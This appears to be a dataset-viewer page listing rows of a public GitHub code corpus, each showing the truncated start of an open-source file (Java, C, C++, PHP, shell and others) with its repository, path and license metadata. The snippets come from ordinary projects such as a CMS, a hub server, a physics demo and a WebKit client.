* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 3 as published by
* the Free Software Foundation.
*
* This program is distributed in the hope tha... | Java | src/main/java/org/craftercms/studio/impl/v1/web/security/access/StudioWorkflowAPIAccessDecisionVoter.java | craftercms/studio | gpl-3.0 | 8,147 | 183 | codeparrot/github-code |
4d0dc1646cfea45b1b62dda3e8e9ffa79d71fafaca3971e53f0b5681ab6c7111 | #ifndef PROPERTYTYPE_H
#define PROPERTYTYPE_H
#include <QVariant>
#include <QColor>
#include <QVector2D>
#include <QVector3D>
namespace iris
{
enum class PropertyType
{
None,
Bool,
Int,
Float,
Vec2,
Vec3,
Color,
Texture,
File,
List
};
struct Property
{
unsigned ... | C | irisgl/src/core/property.h | iKlsR/VR | gpl-3.0 | 3,405 | 215 | codeparrot/github-code |
c781ae0cdec3b8ff2e0fac02a4284668f4445d9595905cc633999cd7b0151d1d | /**************************************************************************
chdkptpJ - Java CHDK PTP framework.
Copyright (C) 2015 Aleś Bułojčyk (alex73mail@gmail.com)
This file is part of chdkptpJ.
chdkptpJ is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public Lic... | Java | src/org/alex73/chdkptpj/lua/libs/ALuaBaseLib.java | alex73/chdkptpJ | gpl-3.0 | 2,105 | 62 | codeparrot/github-code |
20f896f65ab9a57125695b3f9ef3f8b97e2213b0afee9736714c1f94ad8a6175 | package net.belehradek.umleditor;
import de.tesis.dynaware.grapheditor.utils.GeometryUtils;
import javafx.geometry.Point2D;
import javafx.scene.Group;
import javafx.scene.Node;
import javafx.scene.shape.ArcTo;
import javafx.scene.shape.Line;
/**
* An arrow shape.
*
* <p>
* This is a {@link Node} subclass and can ... | Java | src/main/java/net/belehradek/umleditor/Arrow.java | Standa631/fUmlStudio | gpl-3.0 | 3,923 | 150 | codeparrot/github-code |
92ac56974ae7d5164b8111b7fc83bae53960b7d585c129fb14469634107d7e06 | <?php
namespace Deployee\Plugins\Deploy\Tasks;
use Deployee\Collection;
use Deployee\Tasks\TaskInterface;
class TaskHelper
{
const CONTAINER_ID = "deployee.plugin.deploy.taskhelper";
/**
* @var Collection
*/
private $collection;
/**
* TaskHelper constructor.
*/
public funct... | PHP | src/Plugins/Deploy/Tasks/TaskHelper.php | phizzl/deployee | gpl-3.0 | 1,283 | 58 | codeparrot/github-code |
ac135cbd103d2be7d101058c4e547fabca2eecee648cbbf764d2b28dbf1126a6 | <?php
/**
* Zend Framework
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled
* with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://framework.zend.com/license/new-bsd
* If you did not receive a copy of the license an... | PHP | Zend/Barcode/Object/ObjectAbstract.php | jvianney/SwiftHR | gpl-3.0 | 35,084 | 1,291 | codeparrot/github-code |
5e1353751703d42c4f3acfe71d03968fd6a3ebfb9666318bc9dac059561e8ace | /*
* PtokaX - hub server for Direct Connect peer to peer network.
* Copyright (C) 2004-2015 Petr Kozelka, PPK at PtokaX dot org
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 3
* as published by the Free Software Found... | C++ | gui.win/RegisteredUsersDialog.cpp | hjpotter92/PtokaX | gpl-3.0 | 25,052 | 565 | codeparrot/github-code |
b5d412c57b30629641992639634a556d9f8d92dba6d42f3a5542a897348d62fc | /*! \file pg-main.h
*
*
* File pg-main.h
*
*
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public License
* as published by the Free Software Foundation; either version 2.1
* of the License, or (at your option) any later version.
... | C | LYM-sources/SourcesBerfore18/Porphyrograph-atelPort-src/pg-main.h | yukao/Porphyrograph | gpl-3.0 | 4,638 | 171 | codeparrot/github-code |
c22fc176878796f19c44e1bcd4696657b34549a087c1fcbda208b0c9cd0566a2 | <?xml version="1.0"?>
<app>
<category>
Language
</category>
<name>
Telugu_Libreoffice
</name>
<description>
<am>Telugu Language Meta-Package for LibreOffice</am>
<ar>Telugu Language Meta-Package for LibreOffice</ar>
<bg>Telugu Language Meta-Package for LibreOffice</bg>
<bn>Telugu Language Meta-Package fo... | Perl | Telugu_LO.pm | MX-Linux/mx-packageinstaller-pkglist | gpl-3.0 | 3,308 | 94 | codeparrot/github-code |
007fe1f9e39e641552789426efc73082a694aa6d36cabb1b36949ca2f3365617 | <?php
/**
* User: Victor Häggqvist
* Date: 6/6/15
* Time: 10:05 PM
*/
namespace AppBundle\Sensor;
use AppBundle\Entity\Sensor;
use Doctrine\ORM\EntityManager;
use Doctrine\ORM\Query\ResultSetMapping;
use Exception;
use Guzzle\Plugin\Backoff\ReasonPhraseBackoffStrategy;
use Symfony\Component\Process\Process;
cla... | PHP | src/AppBundle/Sensor/SensorController.php | victorhaggqvist/racktemp | gpl-3.0 | 4,051 | 150 | codeparrot/github-code |
efb2e22a346158538487e5ca5e5af95c5792b03ec5fcf5e5f862773f1b1d1e2b | /*
* Copyright (C) 2009 Torch Mobile Inc. http://www.torchmobile.com/
* Copyright (C) 2009, 2010, 2011, 2012 Research In Motion Limited. All rights reserved.
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the... | C++ | WebKit/Source/WebKit/blackberry/WebCoreSupport/EditorClientBlackBerry.cpp | cs-au-dk/Artemis | gpl-3.0 | 20,646 | 613 | codeparrot/github-code |
2f92267a1d20861def092e4d5a979b0c3d416f10301c6125ea9c258690ec354e | #ifdef PPU_CPP
bool PPU::interlace() const {
return display.interlace;
}
bool PPU::overscan() const {
return display.overscan;
}
bool PPU::hires() const {
return true;
}
void PPU::latch_counters() {
cpu.synchronize_ppu();
regs.hcounter = hdot();
regs.vcounter = vcounter();
regs.counters_latched = true... | C++ | defimulator/snes/ppu/mmio/mmio.cpp | grim210/defimulator | gpl-3.0 | 24,521 | 866 | codeparrot/github-code |
5c69f979ab6b64b837ace485e79c93e586d40efcbd0d5b381b27a2ef49810c38 | /*
Copyright 2009 The Open University
http://www.open.ac.uk/lts/projects/audioapplets/
This file is part of the "Open University audio applets" project.
The "Open University audio applets" project is free software: you can
redistribute it and/or modify it under the terms of the GNU General Public
License as published... | C | mac/RecordingDevice.h | sammarshallou/ouaudioapplets | gpl-3.0 | 1,844 | 81 | codeparrot/github-code |
a0b0a9caeefe8f93c056a8dc242ef6fb7ff2f19d5cd43c99130179db07998393 | /* Copyright (C) 2013 Stefan Wenn, SEMM */
/*----------------------------------------------------------------------------*/
/* Projekt: SEMM */
/* Modul: XY-Positioniereinheit (XYS) ... | C | arduino/xy_schlitten/src/RotaryEncoder.h | wenndemann/semm | gpl-3.0 | 1,707 | 41 | codeparrot/github-code |
5f10de4ce668929465fafca0eaab10618067df9c5baae27a6125a87d82da5ee9 | /**
* Copyright 2012-2015 Rafal Lewczuk <rafal.lewczuk@jitlogic.com>
* <p/>
* This is free software. You can redistribute it and/or modify it under the
* terms of the GNU General Public License as published by the Free Software
* Foundation, either version 3 of the License, or (at your option) any later
* version... | Java | slac-core/src/main/java/com/jitlogic/slac/data/slac/Transform.java | rlewczuk/slac | gpl-3.0 | 1,848 | 84 | codeparrot/github-code |
7fd3343054861f89c868033db29cdf70b290b9c19ed84901a68928748b5931a8 | // Copyright 2015 Virgil Dupras
//
// This software is licensed under the "GPLv3" License as described in the "LICENSE" file,
// which should be included with this package. The terms are also available at
// http://www.gnu.org/licenses/gpl-3.0.html
//
use std::path::Path;
use civng::game::Game;
use civng::unit::{Unit... | Rust | src/main.rs | hsoft/civng | gpl-3.0 | 1,215 | 35 | codeparrot/github-code |
c5f0ffc2896daadfa7f28ee75a53208df98391e111dae7bcd9e8352981dd9876 | #!/usr/bin/env bash
# Copyright 2015 Ben Lopatin
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is d... | Shell | heku.sh | bennylope/heku | gpl-3.0 | 6,186 | 226 | codeparrot/github-code |
facf4da52544a52ace9f302db162d252eea6ac802b59be3223e435a7cd7a5d9c | /*
* Copyright (C) 2017 Josua Frank
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distri... | Java | dfMASTER/src/main/java/dfmaster/json/JSONUtils.java | Sharknoon/dfMASTER | gpl-3.0 | 6,234 | 177 | codeparrot/github-code |
8671b7b43057551db57439aa869921297715c09c0d3479828c6ffab3bf34f690 | <?php
class Benutzerrolle_model extends DB_Model
{
/**
* Constructor
*/
public function __construct()
{
parent::__construct();
$this->dbTable = 'system.tbl_benutzerrolle';
$this->pk = 'benutzerberechtigung_id';
}
/**
* Checks if the given user is an admin
*/
public function isAdminByPersonId($pers... | PHP | application/models/system/Benutzerrolle_model.php | FH-Complete/FHC-Core | gpl-3.0 | 1,312 | 68 | codeparrot/github-code |
8088498b990d18f59a2e5e8671f65867aebdd975566cf26df8265784a292fd48 | /*
* JGrass - Free Open Source Java GIS http://www.jgrass.org
* (C) HydroloGIS - www.hydrologis.com
*
* This library is free software; you can redistribute it and/or modify it under
* the terms of the GNU Library General Public License as published by the Free
* Software Foundation; either version 2 of the Lic... | Java | hortonmachine/src/main/java/org/jgrasstools/hortonmachine/modules/hydrogeomorphology/energyindexcalculator/OmsEnergyIndexCalculator.java | silviafranceschi/jgrasstools | gpl-3.0 | 36,016 | 929 | codeparrot/github-code |
aab28385106c18a7174fbd265d88cd634a78d1fddd5f86aad71b773c27dd1efd | {- -----------------------------------------------------------------------------
PTrader is a Personal Stock Trader Toolbox.
Copyright (C) 2012 Luis Cabellos
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foun... | Haskell | examples/example01.hs | zhensydow/ptrader | gpl-3.0 | 1,870 | 53 | codeparrot/github-code |
983d989a852d10d391aef708e5cc4677925b5ee61bd50e9b6de788dcbf5e2665 | /*
* Copyright 2013-2014 Canonical Ltd.
*
* This file is part of webbrowser-app.
*
* webbrowser-app is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; version 3.
*
* webbrowser-app is distributed in the ... | C++ | src/app/webbrowser/tabs-model.cpp | ubuntu-touch-apps/webbrowser-app | gpl-3.0 | 4,634 | 194 | codeparrot/github-code |
c42d4f788269d6fc7848888401cda6c6f5d90a0de9dd9827d9b410cc1dc35e22 | /*
Copyright (C) 2011 Charles Pence <charles@charlespence.net>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Th... | C | src/common/transform.c | cpence/arcus | gpl-3.0 | 7,322 | 288 | codeparrot/github-code |
1948695f36155b4f996a27f8bbdca51b56c2c8a653a74744cc9b56144a406460 | /**
* Copyright 2013 René Widera
*
* This file is part of PIConGPU.
*
* PIConGPU is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later ve... | C++ | src/picongpu/include/fields/tasks/TaskFieldSendExchange.hpp | Heikman/picongpu | gpl-3.0 | 3,422 | 142 | codeparrot/github-code |
efcce20bfb0b8e9e3513d04a6f808588b80d36679c8b183a332db8cab738ad25 | package uk.geekhole.foundations.utils;
import android.util.Log;
import com.google.common.io.Files;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.UUID;
import uk.geekhole.... | Java | app/src/main/java/uk/geekhole/foundations/utils/Util.java | Geekhole/Foundations | gpl-3.0 | 1,620 | 66 | codeparrot/github-code |
4ef0f6f85113249ab53e4a681076b08ef536b99b0df1edbf2fdc49d458e41b87 | /*
* WMSX - Workload Management Extensions for gLite
*
* Copyright (C) 2007-2009 Max Berger
*
* This program is free software: you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation, either version 3 of the License, or (at you... | Java | wmsx-common/src/main/java/hu/kfki/grid/wmsx/job/JobWatcher.java | maxberger/wmsx | gpl-3.0 | 10,796 | 355 | codeparrot/github-code |
61f2f3374ab611d33856a0ebcee7f7902a6cb5bf3eeb747f1d7c19ec7448b3c9 | #ifndef ZC_PROCESS_MANAGEMENT_H
#define ZC_PROCESS_MANAGEMENT_H
#include <cstdio>
#include <string>
static uint32_t __dummy_;
#ifdef _WIN32
#define NOGDI
#define WinMain __win_main
#include "windows.h"
#undef WinMain
#undef NOGDI
#endif
struct process_killer
{
#ifdef _WIN32
void* process_handle;
void kill(uint32... | C | src/process_managment.h | ArmageddonGames/ZeldaClassic | gpl-3.0 | 4,847 | 230 | codeparrot/github-code |
a8848d9c66dfb01cfd7ee3d159efa5fa598ea4497fbe4da4c05e6aee0c22376b | /*-
* #%L
* TrakEM2 plugin for ImageJ.
* %%
* Copyright (C) 2005 - 2021 Albert Cardona, Stephan Saalfeld and others.
* %%
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as
* published by the Free Software Foundation, either version 3... | Java | src/main/java/ini/trakem2/display/Connector.java | trakem2/TrakEM2 | gpl-3.0 | 17,310 | 501 | codeparrot/github-code |
b9dc7d6770d0a4a41cd9379b3f312063153ba8e8e245d6ebc51e1db82effd5a9 | #ifndef GRAPHICS_H
#define GRAPHICS_H
#include "Arduino.h"
#define FONT_MAIN_ELEMENT_SIZE 16
struct Bitmap
{
public:
Bitmap(const byte* bitmapArray);
Bitmap(byte* bitmapArray);
~Bitmap() { delete [] value; }
uint8_t arrayLength() { return arrayLength(width, height); }
static uint8_t arrayLength(uint8_t... | C | src/display-handler/Graphics.h | danielvrsek/gps-logger | gpl-3.0 | 1,436 | 76 | codeparrot/github-code |
30112433d4ba1e8db4320cc739fdea86cfbd0fae8208e36ea92522a873aa63d0 | /*
* Kontalk Java client
* Copyright (C) 2016 Kontalk Devteam <devteam@kontalk.org>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your ... | Java | src/main/java/org/kontalk/view/ContactDetails.java | kontalk/desktopclient-java | gpl-3.0 | 12,270 | 317 | codeparrot/github-code |
141a9dfbb0aca4e8de960d005bb06c373f5a1e9f7fdea2cc423dce58dff91d1a | '''
Copyright 2015 Travel Modelling Group, Department of Civil Engineering, University of Toronto
This file is part of the TMG Toolbox.
The TMG Toolbox is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Fou... | Python | TMGToolbox/src/analysis/traffic/Export_Count_Station_Location.py | TravelModellingGroup/TMGToolbox | gpl-3.0 | 5,176 | 150 | codeparrot/github-code |
4715c863dba07359bb47f8d6f5217dd11e8ce08a2020bb92af7f1f851a2169a1 | <!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"/>
<style>
table.head, table.foot { width: 100%; }
td.head-rtitle, td.foot-os { text-align: right; }
td.head-vol { text-align: center; }
table.foot td { width: 50%; }
table.head td { width: 33%; }
div.spacer { margin: 1em 0; }
</style>
<title>
INET(3)</title>
</head>
<... | HTML | man/inet.3.html | fusion809/fusion809.github.io-old | gpl-3.0 | 10,206 | 235 | codeparrot/github-code |
f24c2c4d14c493e0a51994b95a579f8a4fd2b6eb49234867ba530ea8fede500d | /*
* Copyright 1997-2012 Fabien Michel, Olivier Gutknecht, Jacques Ferber
*
* This file is part of MaDKit_Demos.
*
* MaDKit_Demos is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of th... | Java | MaDKit-ping-pong/src/madkit/pingpong/PingPong.java | fmichel/MaDKit-demos | gpl-3.0 | 3,692 | 133 | codeparrot/github-code |
17de53778ad0000c9e6b3674606cb09623ce4fccdd56f1fd9fdac2ba069e25a0 | /*
Copyright (C) 2016 Sergo Pasoevi.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or (at
your option) any later version.
This program is d... | C | src/map.c | pasoev/dungeons | gpl-3.0 | 10,727 | 362 | codeparrot/github-code |
4ca8b82bc0767be1aaf2565e3b61ed935fbd79b9ae9947938300d907fd6d63a6 | package com.samuel.lwjgl.physics;
import static org.lwjgl.opengl.GL11.*;
public class PhysicsObject {
float x, y, width, height;
int fps, ups;
float forceTimer = 0f;
float mass = 10;
float vy=0;
float vx=0;
long lastUpdate;
float timeModifier = 1;
float ForceY = -9.8f*mass;
float ForceX = 0;
... | Java | src/com/samuel/lwjgl/physics/PhysicsObject.java | taz40/LWJGLPhysics | gpl-3.0 | 1,822 | 83 | codeparrot/github-code |
c02e8add11bb7c9ea49a81b87a2ed2ed6e979dd3eed626e06f0cdd89b5021be7 | package com.csy.news.domain.dto;
import java.io.Serializable;
public class NewsPageDto implements Serializable{
/**
*
*/
private static final long serialVersionUID = 1L;
// paginate related
private String title;
private Byte state;
private Integer type;
private int currentPage = 1;
private int pageSize =... | Java | cloud.group.websys/src/main/java/com/csy/news/domain/dto/NewsPageDto.java | csycurry/cloud.group | gpl-3.0 | 1,195 | 63 | codeparrot/github-code |
2f2ed3b5ae6fa9beeb9ea85582e457479dad4c6ed0f6e73a93be2780c34c6be8 | /*
* BBiCat is a toolbox that combines different Bi-Clustering and clustering techniques in it, which
* can be applied on a given dataset. This software is the modified version of the original BiCat
* Toolbox implemented ... | Java | src/MetaFramework/MatrixFunctions.java | TaghiAliyev/BBiCat | gpl-3.0 | 10,612 | 285 | codeparrot/github-code |
dcc4cd6fd43e09b1b9499048606732b3fe146a1a811365ec89a5fc266353392a | package org.neo4j.etl.cli.rdbms;
import java.nio.file.Path;
public interface ImportFromRdbmsEvents
{
ImportFromRdbmsEvents EMPTY = new ImportFromRdbmsEvents()
{
@Override
public void onExportingToCsv( Path csvDirectory )
{
// Do nothing
}
@Override
... | Java | neo4j-etl-cli/src/main/java/org/neo4j/etl/cli/rdbms/ImportFromRdbmsEvents.java | inserpio/neo4j-etl-components | gpl-3.0 | 681 | 34 | codeparrot/github-code |
dcfb17c51316002f27539c6ed85da2cb41e203b8a30b6b21a03d337f24e4ab08 | /*
* Copyright (C) 2015 Stuart Howarth <showarth@marxoft.co.uk>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 3 as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be use... | C++ | src/harmattan/settings.cpp | marxoft/cuteradio | gpl-3.0 | 3,133 | 121 | codeparrot/github-code |
0d6497603accf6fadc804656ff5105539de35c860a00851961280eddba7fbda5 | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "user_message.h"
int MAX_MESS_SIZE;
message_data * request;
message_data * reply;
struct message_data{
int id;
size_t mess_len;
char mess_data[0];
};
message_data * create_rcv_message(void){
return create_message(NULL, MAX_MESS_SIZE, -1);
}
... | C | user_udp/user_message.c | esposem/Kernel_UDP | gpl-3.0 | 1,646 | 76 | codeparrot/github-code |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.